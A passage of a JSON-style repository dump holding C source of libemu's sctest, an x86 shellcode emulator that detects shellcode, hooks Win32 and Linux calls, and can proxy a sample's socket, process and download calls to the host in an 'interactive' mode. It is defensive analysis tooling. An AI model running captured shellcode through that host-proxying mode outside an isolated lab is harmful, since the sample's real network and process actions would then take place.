instr_vertex_destructor;\n\temu_graph_free(sgraph);\n//\temu_hashtable_free(eh);\n\n\treturn 0;\n}\n"
  },
  {
    "path": "tools/sctest/dot.h",
    "content": "struct instr_vertex\n{\n\tuint32_t    eip;\n\tstruct emu_string  *instr_string;\n\tstruct emu_env_w32_dll *dll;\n\tstruct emu_env_linux_syscall *syscall;\n};\n\n\nstruct instr_vertex *instr_vertex_new(uint32_t theeip, const char *instr_string);\nvoid instr_vertex_free(struct instr_vertex *iv);\n\nstruct instr_vertex *instr_vertex_copy(struct instr_vertex *from);\n\nvoid instr_vertex_destructor(void *data);\n\nint graph_draw(struct emu_graph *graph);\n\n"
  },
  {
    "path": "tools/sctest/nanny.c",
    "content": "#include <string.h>\n#include <stdio.h>\n\n#include \"nanny.h\"\n\n#include \"../../include/emu/emu_hashtable.h\"\n\n\nstruct nanny *nanny_new(void)\n{\n\tstruct nanny *na = malloc(sizeof(struct nanny));\n\tmemset(na, 0, sizeof(struct nanny));\n\n\tna->files = emu_hashtable_new(16, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp);\n\n\treturn na;\n}\n\nstruct nanny_file *nanny_add_file(struct nanny *na, const char *path, uint32_t *emu_file, FILE *real_file)\n{\n\tstruct nanny_file *file = malloc(sizeof(struct nanny_file));\n\tmemset(file, 0, sizeof(struct nanny_file));\n\n\t*emu_file = rand();\n\n\tfile->path = strdup(path);\n\tfile->emu_file = *emu_file;\n\tfile->real_file = real_file;\n\n\temu_hashtable_insert(na->files, (void *)(uintptr_t)file->emu_file, file);\n\n\treturn file;\n}\n\nstruct nanny_file *nanny_get_file(struct nanny *na, uint32_t emu_file)\n{\n\t struct emu_hashtable_item *item = emu_hashtable_search(na->files, (void *)(uintptr_t)emu_file);\n\t if (item != NULL)\n\t {\n\t\t struct nanny_file *file = item->value;\n\t\t return file;\n\t }else\n\t\t return NULL;\n\t \n}\n\nbool nanny_del_file(struct nanny *na, uint32_t emu_file)\n{\n\tstruct emu_hashtable_item *item = emu_hashtable_search(na->files, (void *)(uintptr_t)emu_file);\n\tif (item != NULL)\n\t{\n\t\tfree(item->value);\n\t}\n\treturn emu_hashtable_delete(na->files, (void *)(uintptr_t)emu_file);\n}\n\nvoid nanny_free(struct nanny *nanny)\n{\n\n}\n"
  },
  {
    "path": "tools/sctest/nanny.h",
    "content": "#include <stdint.h>\n#include <stdio.h>\n#include <stdbool.h>\n\nstruct nanny_file\n{\n\tbool active;\n\tchar\t\t*path;\n\tuint32_t\temu_file;\n\tFILE\t\t*real_file;\n};\n\n/*\nstruct nanny_socket\n{\n\tbool active;\n\tint socket;\n};\n\nstruct nanny_children\n{\n\tint \tpid;\n};\n*/\n\nstruct nanny\n{\n\tstruct emu_hashtable *files;\n/*\tstruct emu_hashtable *sockets; \n\tstruct emu_hashtable *children;\n*/\n};\n\nstruct nanny *nanny_new(void);\nvoid nanny_free(struct nanny *nanny);\n\nstruct nanny_file *nanny_add_file(struct nanny *na, const char *path, uint32_t *emu_file, FILE *real_file);\nstruct nanny_file *nanny_get_file(struct nanny *na, uint32_t emu_file);\nbool nanny_del_file(struct nanny *na, uint32_t emu_file);\n\n\n"
  },
  {
    "path": "tools/sctest/options.h",
    "content": "struct run_time_options\n{\n\tint verbose;\n\tint nasm_force;\n\tuint32_t steps;\n\tint testnumber;\n\tint getpc;\n\tchar *graphfile;\n\tbool from_stdin;\n\tchar *from_argos_csi;\n\tunsigned char *scode;\n\tuint32_t size;\n\tint offset;\n\tchar *profile_file;\n\tbool interactive;\n\n\tstruct \n\t{\n\t\tstruct\n\t\t{\n\t\t\tchar *host;\n\t\t\tint port;\n\t\t}connect;\n\t\tstruct \n\t\t{\n\t\t\tchar *host;\n\t\t\tint port;\n\t\t}bind;\n\n\t\tstruct \n\t\t{\n\t\t\tstruct emu_hashtable *commands;\n\t\t}commands;\n\n\t}override;\n};\n\nextern struct run_time_options opts;\n\n\nbool cmp(void *a, void *b);\nuint32_t hash(void *key);\nbool string_cmp(void *a, void *b);\nuint32_t string_hash(void *key);\n\n\n"
  },
  {
    "path": "tools/sctest/sctestmain.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include \"../config.h\"\n\n#define HAVE_GETOPT_H\n#ifdef HAVE_GETOPT_H\n# include <getopt.h>\n#endif\n\n#ifdef HAVE_STDLIB_H\n# include <stdlib.h>\n#endif\n\n\n#include <stdint.h>\n\n#define HAVE_UNISTD\n#ifdef HAVE_UNISTD\n# include <unistd.h>\n#endif\n#include <stdio.h>\n\n#include <stdarg.h>\n\n\n#include <errno.h>\n\n#ifdef HAVE_LIBCARGOS\n#include <cargos-lib.h>\n#endif\n\n\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#include <sys/select.h>\n\n#include <sys/wait.h>\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_kernel32_hooks.h\"\n#include \"emu/environment/linux/emu_env_linux.h\"\n#include \"emu/emu_getpc.h\"\n#include \"emu/emu_graph.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/emu_hashtable.h\"\n\n#include \"emu/emu_shellcode.h\"\n\n\n#define CODE_OFFSET 0x417000\n\n#define FAILED \"\\033[31;1mfailed\\033[0m\"\n#define SUCCESS \"\\033[32;1msuccess\\033[0m\"\n\n#define F(x) (1 << (x))\n\n\n#include \"userhooks.h\"\n#include \"options.h\"\n#include \"dot.h\"\n#include \"tests.h\"\n#include \"nanny.h\"\n\n\nstruct run_time_options opts;\n\n/*\nstatic const char *regm[] = {\n\t\"eax\", \"ecx\", \"edx\", \"ebx\", \"esp\", \"ebp\", \"esi\", \"edi\"\n};\n\n\n// 0     1     2     3      4       5       6     7 \nstatic const char *flags[] = { \"CF\", \"  \", \"PF\", \"  \" , \"AF\"  , \"    \", \"ZF\", \"SF\", \n\t\"TF\", \"IF\", \"DF\", \"OF\" , \"IOPL\", \"IOPL\", \"NT\", \"  \",\n\t\"RF\", \"VM\", \"AC\", \"VIF\", \"RIP\" , \"ID\"  , \"  \", \"  \",\n\t\"  \", \"  \", \"  \", \"   \", \"    \", \"    \", \"  \", \"  \"};\n*/\n\n\n\n\n\n\n\nint graph_draw(struct emu_graph *graph);\n\nint test(struct emu *e)\n{\n//\tint i=0;\n\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\tstruct emu_memory *mem = emu_memory_get(e);\n\n\tstruct emu_env *env = emu_env_new(e);\n\tenv->profile = emu_profile_new();\n\n\tstruct nanny *na = nanny_new();\n\n\t/* IAT for sqlslammer */\n\temu_memory_write_dword(mem, 0x42AE1018, 0x7c801D77);\n\temu_memory_write_dword(mem, 0x42ae1010, 0x7c80ADA0);\n\temu_memory_write_dword(mem, 0x7c80ADA0, 0x51EC8B55);\n\temu_memory_write_byte(mem,  0x7c814eeb, 0xc3);\n\n\t/* Export Address Table Access Filtering */\n\temu_memory_write_dword(mem, 0x7c80ffec, 0xc330408b);\n\n\tif ( env == NULL )\n\t{\n\t\tprintf(\"%s \\n\", emu_strerror(e));\n\t\tprintf(\"%s \\n\", strerror(emu_errno(e)));\n\t\treturn -1;\n\t}\n\n\n\temu_env_w32_export_hook(env, \"ExitProcess\", user_hook_ExitProcess, NULL);\n\temu_env_w32_export_hook(env, \"ExitThread\", user_hook_ExitThread, NULL);\n\n\temu_env_w32_load_dll(env->env.win,\"shdocvw.dll\");\n\temu_env_w32_export_hook(env, \"IEWinMain\", user_hook_IEWinMain, NULL);\n\n\tif ( opts.interactive == true )\n\t{\n\n\t\temu_env_w32_load_dll(env->env.win,\"msvcrt.dll\");\n\t\temu_env_w32_export_hook(env, \"fclose\", user_hook_fclose, na);\n\t\temu_env_w32_export_hook(env, \"fopen\", user_hook_fopen, na);\n\t\temu_env_w32_export_hook(env, \"fwrite\", user_hook_fwrite, na);\n\n\t\temu_env_w32_export_hook(env, \"CreateProcessA\", user_hook_CreateProcess, NULL);\n\t\temu_env_w32_export_hook(env, \"WaitForSingleObject\", user_hook_WaitForSingleObject, NULL);\n\t\temu_env_w32_export_hook(env, \"CreateFileA\", user_hook_CreateFile, na);\n\t\temu_env_w32_export_hook(env, \"WriteFile\", user_hook_WriteFile, na);\n\t\temu_env_w32_export_hook(env, \"CloseHandle\", user_hook_CloseHandle, na);\n\n\n\t\temu_env_w32_load_dll(env->env.win,\"ws2_32.dll\");\n\t\temu_env_w32_export_hook(env, \"accept\", user_hook_accept, NULL);\n\t\temu_env_w32_export_hook(env, \"bind\", user_hook_bind, NULL);\n\t\temu_env_w32_export_hook(env, \"closesocket\", user_hook_closesocket, NULL);\n\t\temu_env_w32_export_hook(env, \"connect\", user_hook_connect, NULL);\n\n\t\temu_env_w32_export_hook(env, \"listen\", user_hook_listen, NULL);\n\t\temu_env_w32_export_hook(env, \"recv\", user_hook_recv, NULL);\n\t\temu_env_w32_export_hook(env, \"send\", user_hook_send, NULL);\n\t\temu_env_w32_export_hook(env, \"socket\", user_hook_socket, NULL);\n\t\temu_env_w32_export_hook(env, \"WSASocketA\", user_hook_WSASocket, NULL);\n\n\t\temu_env_w32_load_dll(env->env.win,\"urlmon.dll\");\n\t\temu_env_w32_export_hook(env, \"URLDownloadToFileA\", user_hook_URLDownloadToFile, NULL);\n\n\n\t\temu_env_linux_syscall_hook(env, \"exit\", user_hook_exit, NULL);\n\t\temu_env_linux_syscall_hook(env, \"socket\", user_hook_socket, NULL);\n\t}\n\n/*\tuint32_t x;\n\tfor (x=0x7c800000;x<0x7c902400;x++)\n\t{\n\t\tuint8_t b;\n\t\temu_memory_read_byte(mem,x,&b);\n\t\tprintf(\"%02x \",b);\n\t\tif (x % 16 == 0)\n\t\t{\n\t\t\tprintf(\"\\n\");\n\t\t}\n\t}\n\treturn 0;\n*/\n\n\n\tint j=0;\n\n\n\t/* run the code */\n\tif( opts.verbose != 0 )\n\t\temu_cpu_debugflag_set(cpu, instruction_string);\n\n\tif ( opts.verbose >= 2 )\n\t{\n\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\temu_cpu_debug_print(cpu);\n\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t}\n\n\n\tstruct emu_vertex *last_vertex = NULL;\n\tstruct emu_graph *graph = NULL;\n\tstruct emu_hashtable *eh = NULL;\n\tstruct emu_hashtable_item *ehi = NULL;\n\n\tif ( opts.graphfile != NULL )\n\t{\n\t\tgraph = emu_graph_new();\n\t\teh = emu_hashtable_new(2047, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp);\n\t}\n\n\n\tint ret; //= emu_cpu_run(emu_cpu_get(e));\n\n\n\n\tuint32_t eipsave = 0;\n\tfor ( j=0;j<opts.steps;j++ )\n\t{\n\n\t\tif ( opts.verbose > 2 )\n\t\t{\n\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\t\temu_cpu_debug_print(cpu);\n\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t\t}\n\n\n\n\t\tif ( cpu->repeat_current_instr == false )\n\t\t\teipsave = emu_cpu_eip_get(emu_cpu_get(e));\n\n\t\tstruct emu_env_hook *hook = NULL;\n\t\tstruct emu_vertex *ev = NULL;\n\t\tstruct instr_vertex *iv = NULL;\n\n\n\n\t\tret = 0;\n\n\t\tif ( opts.graphfile != NULL )\n\t\t{\n\n\t\t\tehi = emu_hashtable_search(eh, (void *)(uintptr_t)eipsave);\n\t\t\tif ( ehi != NULL )\n\t\t\t\tev = (struct emu_vertex *)ehi->value;\n\n\t\t\tif ( ev == NULL )\n\t\t\t{\n\t\t\t\tev = emu_vertex_new();\n\t\t\t\temu_graph_vertex_add(graph, ev);\n\n\t\t\t\temu_hashtable_insert(eh, (void *)(uintptr_t)eipsave, ev);\n\t\t\t}\n\t\t}\n\n\t\thook = emu_env_w32_eip_check(env);\n\n\t\tif ( hook != NULL )\n\t\t{\n\t\t\t \n\t\t\tif ( opts.graphfile != NULL )\n\t\t\t{\n\t\t\t\tif ( ev->data != NULL && strcmp(hook->hook.win->fnname, \"CreateProcessA\") == 0)\n\t\t\t\t{\n\t\t\t\t\tev = emu_vertex_new();\n\t\t\t\t\temu_graph_vertex_add(graph, ev);\n\t\t\t\t}\n\n//\t\t\t\tfnname_from_profile(env->profile, dllhook->fnname);\n\t\t\t\tiv = instr_vertex_new(eipsave,hook->hook.win->fnname);\n\t\t\t\temu_vertex_data_set(ev, iv);\n\n\t\t\t\t// get the dll\n\t\t\t\tint numdlls=0;\n\t\t\t\twhile ( env->env.win->loaded_dlls[numdlls] != NULL )\n\t\t\t\t{\n\t\t\t\t\tif ( eipsave > env->env.win->loaded_dlls[numdlls]->baseaddr && \n\t\t\t\t\t\t eipsave < env->env.win->loaded_dlls[numdlls]->baseaddr + env->env.win->loaded_dlls[numdlls]->imagesize )\n\t\t\t\t\t{\n\t\t\t\t\t\tiv->dll = env->env.win->loaded_dlls[numdlls];\n\t\t\t\t\t}\n\t\t\t\t\tnumdlls++;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif ( hook->hook.win->fnhook == NULL )\n\t\t\t{\n\t\t\t\tprintf(\"unhooked call to %s\\n\", hook->hook.win->fnname);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\tret = emu_cpu_parse(emu_cpu_get(e));\n\n\t\t\tif ( opts.verbose > 1 )\n\t\t\t{\n\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\t\t\tlogDebug(e, \"%s\\n\", cpu->instr_string);\n\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t\t\t}\n\n\t\t\tstruct emu_env_hook *hook =NULL;\n\t\t\tif ( ret != -1 )\n\t\t\t{\n\n\t\t\t\tif ( ( hook = emu_env_linux_syscall_check(env)) != NULL )\n\t\t\t\t{\n\t\t\t\t\tif ( opts.graphfile != NULL && ev->data == NULL )\n\t\t\t\t\t{\n\t\t\t\t\t\tiv = instr_vertex_new(eipsave, hook->hook.lin->name);\n\t\t\t\t\t\temu_vertex_data_set(ev, iv);\n\t\t\t\t\t\tiv->syscall = hook->hook.lin;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\n\t\t\t\t\tif ( opts.graphfile != NULL && ev->data == NULL )\n\t\t\t\t\t{\n\t\t\t\t\t\tiv = instr_vertex_new(eipsave, emu_cpu_get(e)->instr_string);\n\t\t\t\t\t\temu_vertex_data_set(ev, iv);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ( opts.graphfile != NULL && ev->data == NULL )\n\t\t\t\t{\n\t\t\t\t\tiv = instr_vertex_new(eipsave, \"ERROR\");\n\t\t\t\t\temu_vertex_data_set(ev, iv);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( ret != -1 )\n\t\t\t{\n\t\t\t\tif ( hook == NULL )\n\t\t\t\t{\n\t\t\t\t\tif ( opts.verbose == 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_INFO);\n\t\t\t\t\t\tret = emu_cpu_step(emu_cpu_get(e));\n\t\t\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t\t\t\t\t}else\n\t\t\t\t\tif ( opts.verbose >= 2 )\n\t\t\t\t\t{\n\t\t\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\t\t\t\t\tret = emu_cpu_step(emu_cpu_get(e));\n\t\t\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tret = emu_cpu_step(emu_cpu_get(e));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif ( hook->hook.lin->fnhook != NULL )\n\t\t\t\t\t\thook->hook.lin->fnhook(env, hook);\n\t\t\t\t\telse\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( ret == -1 )\n\t\t\t{\n\t\t\t\t/* step failed - maybe SEH */\n\t\t\t\tif( emu_env_w32_step_failed(env) != 0 )\n\t\t\t\t{\n\t\t\t\t\tprintf(\"cpu error %s\\n\", emu_strerror(e));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t\tenv->env.win->last_good_eip = emu_cpu_eip_get(emu_cpu_get(e)); //used in case of seh exception\n\t\t}\n\t\tif ( opts.graphfile != NULL )\n\t\t{\n\t\t\tif ( last_vertex != NULL )\n\t\t\t{\n\t\t\t\tstruct emu_edge *ee = emu_vertex_edge_add(last_vertex, ev);\n\t\t\t\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\t\t\t\tif ( cpu->instr.is_fpu == 0 && cpu->instr.source.cond_pos == eipsave && cpu->instr.source.has_cond_pos == 1 )\n\t\t\t\t\tee->data = (void *)0x1;\n\t\t\t}\n\n\t\t\tlast_vertex = ev;\n\t\t}\n\n//\t\t\tprintf(\"\\n\");\n\t}\n\n\tprintf(\"stepcount %i\\n\",j);\n\n\n\tif ( opts.graphfile != NULL )\n\t{\n\t\tgraph_draw(graph);\n\t}\n\tif ( opts.verbose >= 2 )\n\t{\n\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\temu_cpu_debug_print(cpu);\n\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t}\n\n\n\tif ( opts.verbose >= 1 )\n\t{\n\t\temu_profile_debug(env->profile);\n\t}\n\n\tif (opts.profile_file)\n\t\temu_profile_dump(env->profile, opts.profile_file);\n\n\tif (eh != NULL)\n\t\temu_hashtable_free(eh);\n\n\tif (graph != NULL)\n\t\temu_graph_free(graph);\n\n\temu_env_free(env);\n\treturn 0;\n}\n\n\n\n\nint getpctest(void)\n{\n\tstruct emu *e = emu_new();\n\n\tif ( opts.verbose > 1 )\n\t{\n\t\temu_cpu_debugflag_set(emu_cpu_get(e), instruction_string);\n\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t}\n\n\tif ( (opts.offset = emu_shellcode_test(e, (uint8_t *)opts.scode, opts.size)) >= 0 )\n\t\tprintf(\"%s offset = 0x%08x\\n\",SUCCESS, opts.offset);\n\telse\n\t\tprintf(FAILED\"\\n\");\n\n\temu_free(e);\n\n\treturn 0;\n}\n\n\nvoid dump(int n)\n{\n\tif ( n >= numtests() || n < 0 )\n\t\treturn;\n\n\tint i;\n\tfor ( i=0; i<tests[n].codesize;i++ )\n\t\tprintf(\"%c\", tests[n].code[i]);\n}\n\nvoid cleanup(void)\n{\n\treturn;\n\n\tint i;\n\tfor ( i=0;i<numtests();i++ )\n\t\tif ( tests[i].code != NULL )\n\t\t\tfree(tests[i].code);\n\n}\n\nvoid list_tests(void)\n{\n\tint i;\n\tfor ( i=0;i<numtests();i++ )\n\t\tprintf(\"%-2i) %s\\n\", i, tests[i].instr);\n}\n\n\nint prepare_from_stdin_read(void)\n{\n\tunsigned buffer[BUFSIZ];\n\tint ret, eof=0;\n\tint16_t bytes_read=0;\n\tuint32_t len=0;\n\tfd_set read_fds;\n\tstruct timeval st;\n\n\twhile ( !eof )\n\t{\n\t\tFD_ZERO(&read_fds);\n\t\tFD_SET(STDIN_FILENO, &read_fds);\n\n\t\tst.tv_sec  = 10;\n\t\tst.tv_usec = 0;\n\n\t\tswitch ( ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &st) )\n\t\t{\n\t\tcase -1:\n\t\t\tfprintf(stderr, \"Error with select(): %s.\\n\", strerror(errno));\n\t\t\texit(1);\n\t\tcase  0:\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif ( FD_ISSET(STDIN_FILENO, &read_fds) )\n\t\t\t{\n\t\t\t\tif ( (bytes_read = read(STDIN_FILENO, buffer, BUFSIZ)) <= 0 )\n\t\t\t\t{\n\t\t\t\t\tif ( bytes_read == 0 ) eof = 1;\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tfprintf(stderr, \"Error while reading data: %s.\\n\", strerror(errno));\n\t\t\t\t\t\texit(1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif ( !eof )\n\t\t\t\t{\n\t\t\t\t\tif ( (opts.scode = (unsigned char *) realloc(opts.scode, len+bytes_read)) == NULL )\n\t\t\t\t\t{\n\t\t\t\t\t\tfprintf(stderr, \"Error while allocating memory: %s.\\n\", strerror(errno));\n\t\t\t\t\t\texit(1);\n\t\t\t\t\t}\n\t\t\t\t\tmemcpy(opts.scode+len, buffer, bytes_read);\n\t\t\t\t\tlen += bytes_read;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\topts.size = len;\n\n\treturn 0;\n}\n\n\nint prepare_from_stdin_write(struct emu *e)\n{\n\t/* set the registers to the initial values */\n\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\tstruct emu_memory *mem = emu_memory_get(e);\n\n\tint j;\n\tfor ( j=0;j<8;j++ )\n\t{\n\t\temu_cpu_reg32_set(cpu,j , 0);\n\t}\n\n\temu_memory_write_dword(mem, 0xef787c3c,  4711);\n//\temu_memory_write_dword(mem, 0x0,  4711);\n\temu_memory_write_dword(mem, 0x00416f9a,  4711);\n\temu_memory_write_dword(mem, 0x0044fcf7, 4711);\n\temu_memory_write_dword(mem, 0x00001265, 4711);\n\temu_memory_write_dword(mem, 0x00002583, 4711);\n\temu_memory_write_dword(mem, 0x00e000de, 4711);\n\temu_memory_write_dword(mem, 0x01001265, 4711);\n\temu_memory_write_dword(mem, 0x8a000066, 4711);\n\n\t/* set the flags */\n\temu_cpu_eflags_set(cpu, 0);\n\n\n\t/* write the code to the offset */\n\tint static_offset = CODE_OFFSET;\n\temu_memory_write_block(mem, static_offset, opts.scode,  opts.size);\n\n\n\n\t/* set eip to the code */\n\temu_cpu_eip_set(emu_cpu_get(e), static_offset + opts.offset);\n\n\temu_memory_write_block(mem, 0x0012fe98, opts.scode,  opts.size);\n\temu_cpu_reg32_set(emu_cpu_get(e), esp, CODE_OFFSET-50); //0x0012fe98);\n\n\temu_memory_write_dword(mem, 0x7df7b0bb, 0x00000000); //UrldownloadToFile\n//\tfree(opts.scode);\n\n\treturn 0;\n}\n\nint prepare_from_stdin(struct emu *e)\n{\n\tif (opts.size == 0)\n\t\tprepare_from_stdin_read();\n\n\tprepare_from_stdin_write(e);\n\n\n\treturn 0;\n\n}\n\n\n\nint prepare_testnumber(struct emu *e)\n{\n\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\tstruct emu_memory *mem = emu_memory_get(e);\n\tint i;\n\tint n = opts.testnumber;\n\tfor ( i=0; i < numtests();i++ )\n\t{\n\t\tif ( n != -1 && i != n )\n\t\t\tcontinue;\n\n\t\tprintf(\"testing (#%d) '%s' \\t\", i, tests[i].instr);\n\n\t\tint j=0;\n\n\t\t/* set the registers to the initial values */\n\t\tfor ( j=0;j<8;j++ )\n\t\t{\n\t\t\temu_cpu_reg32_set(cpu,j ,tests[i].in_state.reg[j]);\n\t\t}\n\n\n\t\t/* set the flags */\n\t\temu_cpu_eflags_set(cpu,tests[i].in_state.eflags);\n\n\n\t\t/* write the code to the offset */\n\t\tint static_offset = CODE_OFFSET;\n\t\temu_memory_write_block(mem, static_offset, tests[i].code,  tests[i].codesize);\n\n\n\n\t\t/* set eip to the code */\n\t\temu_cpu_eip_set(emu_cpu_get(e), static_offset + opts.offset);\n\n\t\tif ( opts.scode == 0 )\n\t\t{\n\t\t\topts.scode = malloc(tests[i].codesize);\n\t\t\tmemcpy(opts.scode, tests[i].code, tests[i].codesize);\n\t\t\topts.size = tests[i].codesize;\n\t\t}\n\t\treturn 0;\n\t}\n\treturn -1;\n\n}\n\nint prepare_argos(struct emu *e)\n{\n#ifdef HAVE_LIBCARGOS\n\tcargos_lib_t *calib;\n\n\tif (!(calib = cargos_lib_create()))\n\t{\n\t\tperror(\"Could not allocate log instance\");\n\t\treturn -1;\n\t}\n\n\tif (cargos_lib_csi_open(calib, opts.from_argos_csi) != 0)\n\t{\n\t\tfprintf(stderr, \"%s\\n\", cargos_lib_error(calib));\n\t\treturn -1;\n\t}\n\n\tstruct emu_memory *mem = emu_memory_get(e);\n\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\n\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\tcargos_lib_mb_t *mb;\n\tint i=0;\n\n\tcargos_lib_csi_mbfirst(calib);\n\twhile((mb = cargos_lib_csi_mbnext(calib)) != NULL)\n//\tfor (mb = calib->csi->mblist.lh_first; mb != NULL; mb = mb->blocks.le_next)\n\t{\n\t\tif (mb == NULL)\n\t\t\tbreak;\n/*\n\t\tprintf(\"%-3i %08x %08x %-4i \\n\",\n\t\t\t   i,\n\t\t\t   cargos_lib_mb_addr(mb, CARGOS_LIB_PHYS).val32, \n\t\t\t   cargos_lib_mb_addr(mb, CARGOS_LIB_VIRT).val32, \n\t\t\t   cargos_lib_mb_dsize(mb));\n*/\n\t\tint datasize = cargos_lib_mb_dsize(mb);\n\t\tvoid *data = malloc(datasize);\n\t\tcargos_lib_mb_data(mb, data, datasize);\n\t\temu_memory_write_block(mem, \n\t\t\t\t\t\t\t   cargos_lib_mb_addr(mb, CARGOS_LIB_VIRT).val32,\n\t\t\t\t\t\t\t   data,\n\t\t\t\t\t\t\t   datasize);\n\t\tfree(data);\n\t\ti++;\n\t}\n\n\t\n\temu_cpu_reg32_set(cpu, eax, cargos_lib_csi_regv(calib, CARGOS_LIB_EAX).val32);\n\temu_cpu_reg32_set(cpu, ecx, cargos_lib_csi_regv(calib, CARGOS_LIB_ECX).val32);\n\temu_cpu_reg32_set(cpu, edx, cargos_lib_csi_regv(calib, CARGOS_LIB_EDX).val32);\n\temu_cpu_reg32_set(cpu, ebx, cargos_lib_csi_regv(calib, CARGOS_LIB_EBX).val32);\n\temu_cpu_reg32_set(cpu, esp, cargos_lib_csi_regv(calib, CARGOS_LIB_ESP).val32);\n\temu_cpu_reg32_set(cpu, ebp, cargos_lib_csi_regv(calib, CARGOS_LIB_EBP).val32);\n\temu_cpu_reg32_set(cpu, esi, cargos_lib_csi_regv(calib, CARGOS_LIB_ESI).val32);\n\temu_cpu_reg32_set(cpu, edi, cargos_lib_csi_regv(calib, CARGOS_LIB_EDI).val32);\n\n\temu_cpu_eip_set(cpu, cargos_lib_csi_regv(calib, CARGOS_LIB_EIP).val32);\n\treturn 0;\n#else\n\tprintf(\"compiled without support for argos csi (libcargos)\\n\");\n\treturn -1;\n#endif\n\t\n}\n\nint prepare(struct emu *emu)\n{\n\tif (opts.from_stdin)\n\t\treturn prepare_from_stdin(emu);\n\n\tif (opts.from_argos_csi)\n\t\treturn prepare_argos(emu);\n\n\tif (opts.testnumber >= 0)\n\t\treturn prepare_testnumber(emu);\n\n\treturn -1;\n}\n\n\nvoid print_help(void)\n{\n\tstruct help_info \n\t{\n\t\tconst char *short_param;\n\t\tconst char *long_param;\n\t\tconst char *args;\n\t\tconst char *description;\n\t};\n\n\tstruct help_info help_infos[] =\n\t{\n\t\t{\"a\", \"argos-csi\"   , \"PATH\"    , \"use this argos csi files as input\"},\n\t\t{\"b\", \"bind\"        , \"IP:PORT\" , \"bind this ip:port\"},\n\t\t{\"c\", \"connect\"     , \"IP:PORT\" , \"redirect connects to this ip:port\"},\n\t\t{\"C\", \"cmd\"         , \"CMD\"     , \"command to execute for \\\"cmd\\\" in shellcode (default: cmd=\\\"/bin/sh -c \\\\\\\"cd ~/.wine/drive_c/; wine 'c:\\\\windows\\\\system32\\\\cmd_orig.exe' \\\\\\\"\\\")\"},\n\t\t{\"d\", \"dump\"        , \"INTEGER\" , \"dump the shellcode (binary) to stdout\"},\n\t\t{\"g\", \"getpc\"       , NULL      , \"run getpc mode, try to detect a shellcode\"},\n\t\t{\"G\", \"graph\"       , \"FILEPATH\", \"save a dot formatted callgraph in filepath\"},\n\t\t{\"h\", \"help\"        , NULL      , \"show this help\"},\n\t\t{\"i\", \"interactive\" , NULL      , \"proxy api calls to the host operating system\"},\n\t\t{\"l\", \"listtests\"   , NULL      , \"list all tests\"},\n\t\t{\"o\", \"offset\"      , \"[INT|HEX]\", \"manual offset for shellcode, accepts int and hexvalues\"},\n\t\t{\"p\", \"profile\"     , \"PATH\"    , \"write shellcode profile to this 